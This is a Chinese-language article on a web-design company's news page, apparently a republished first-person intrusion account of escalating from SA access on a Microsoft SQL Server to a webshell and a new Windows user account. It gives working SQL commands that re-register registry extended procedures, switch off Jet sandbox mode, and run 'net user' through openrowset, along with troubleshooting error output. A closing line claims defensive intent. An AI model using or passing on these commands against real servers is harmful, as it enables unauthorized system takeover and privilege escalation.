建站
咨詢
售后
建站咨詢
新聞中心
獲取webshell是黑客入侵服務器想要提權(quán)的必要手段，如何防止黑客獲取webshell成為了安全管理員所要思考的問題。我們通過以下的入侵實例，使網(wǎng)絡安全管理員能夠分析入侵情況，避免黑客獲取webshell的情況發(fā)生。
創(chuàng)新互聯(lián)專業(yè)為企業(yè)提供昌邑網(wǎng)站建設(shè)、昌邑做網(wǎng)站、昌邑網(wǎng)站設(shè)計、昌邑網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計與制作、昌邑企業(yè)網(wǎng)站模板建站服務，10余年昌邑做網(wǎng)站經(jīng)驗，不只是建網(wǎng)站，更提供有價值的思路和整體網(wǎng)絡服務。
今天突然發(fā)現(xiàn)有一個SA權(quán)限。服務器管理員將大部份擴展都刪除了。最后自己重建sp_makewebtask存儲才搞到一個webshell了。
當然有了webshell，無法滿足我們貪婪的欲望。開始測試提權(quán)。有serv-u，但是提權(quán)失敗了。也許大家會說用back log來提權(quán)。但是那個太慢了，要重啟機器，會影響對方業(yè)務，同時又會給對方留下不好的印像。有人也許會說用讀取系統(tǒng)賬號的注冊表，導入導出，克隆賬號，這個辦法也可行，但由于并非黑對方主機，還是要保證對方系統(tǒng)的安整性比較好。(也許是心理因素，^_^)
最后只好試試沙盒模式。很多人SA直接用沙盒模式成功了好多機器，但我從來沒實踐過，也不太清楚成功率如何。只好拿他當回肉雞嘗試了。
由于擴展被刪除，先恢復對注冊表的讀寫存儲。
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
修復沙盒的保護模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;--
查看'SandBoxMode'值是否已經(jīng)變成0了。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
最后調(diào)用沙盒模式
select * from openrowset('microsoft.jet.oledb.4.0',';database=C:WINDOWSsystem32iasdnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
1.如果沙盒保護模式未“關(guān)閉”，會報錯：
服務器: 消息 7357，級別 16，狀態(tài) 2，行 1
未能處理對象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出該對象中沒有任何列。
OLE DB 錯誤跟蹤[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。
2.如果.mdb不存在或是輸入路徑錯誤
服務器: 消息 7399，級別 16，狀態(tài) 1，行 1
OLE DB 提供程序 'microsoft.jet.oledb.4.0' 報錯。
[OLE/DB provider returned message: 找不到文件 'C:WINDOWSsystem32iasdnary1.mdb'。]
OLE DB 錯誤跟蹤[OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned 0x80004005: ]。
3.如果輸入過程中多了一些空格，也會報錯。尤其要注意這點，很多人直接網(wǎng)上找文章復制粘貼進去執(zhí)行。
服務器: 消息 7357，級別 16，狀態(tài) 2，行 1
未能處理對象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出該對象中沒有任何列。
OLE DB 錯誤跟蹤[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。
4.如果mdb權(quán)限和cmd.exe權(quán)限不對，同樣會也出現(xiàn)問題。
當mdb權(quán)限不對時，
服務器: 消息 7320，級別 16，狀態(tài) 2，行 1
未能對 OLE DB 提供程序 'Microsoft.Jet.OLEDB.4.0' 執(zhí)行查詢。
[OLE/DB provider returned message: 未知]
OLE DB 錯誤跟蹤[OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0' ICommandText::Execute returned 0x80040e14]。
5.如果net權(quán)限不對時，卻沒有任何提示。
最終的提權(quán)辦法就是在當前的web目錄下面上傳系統(tǒng)的ias.mdb和cmd.exe，net.exe三個文件。執(zhí)行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:webias.mdb','select shell("E:webcmd.exe /c E:webnet.exe user user passwd /add")')
成功增加一個計算機用戶。
通過重建方法獲取webshell是一個可行的入侵手段，不過我們還是要提示大家，實例僅供參考，其最終目的還是希望企業(yè)安全管理員能夠加強防護意識。
名稱欄目：通過重建方法獲取webshell
URL分享：http://www.5511xx.com/article/djedopi.html
